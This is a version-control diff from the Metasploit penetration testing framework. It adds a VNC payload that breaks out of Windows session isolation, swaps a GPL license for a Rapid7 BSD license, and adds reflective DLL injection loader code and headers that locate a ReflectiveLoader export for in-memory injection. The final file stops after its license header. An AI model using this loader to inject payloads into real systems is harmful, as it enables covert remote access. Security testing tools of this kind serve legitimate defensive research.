In with the modified VNC payload which now supports an in memory breakout of session isolation for systems like Vista/2008/7 when the payload is run from a service in session 0 isolation.
git-svn-id: file:///home/svn/framework3/trunk@8890 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
5c1cf6aefb
commit
9a4293c445
|
@ -1,340 +0,0 @@
|
|||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Library General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
Appendix: How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) 19yy <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
|
||||
USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) 19yy name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Library General
|
||||
Public License instead of this License.
|
|
@ -0,0 +1,27 @@
|
|||
Copyright (C) 2006-2010, Rapid7 LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,131 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "LoadLibraryR.h"
|
||||
//===============================================================================================//
|
||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||
{
|
||||
WORD wIndex = 0;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
{
|
||||
UINT_PTR uiBaseAddress = 0;
|
||||
UINT_PTR uiExportDir = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the File Offset of the export directory
|
||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name pointers
|
||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name ordinals
|
||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||
|
||||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// return the File Offset to the ReflectiveLoader() functions code...
|
||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||
}
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,37 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_LOADLIBRARYR_H
|
||||
#define _VNCDLL_LOADER_LOADLIBRARYR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,53 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
|
||||
#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,451 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
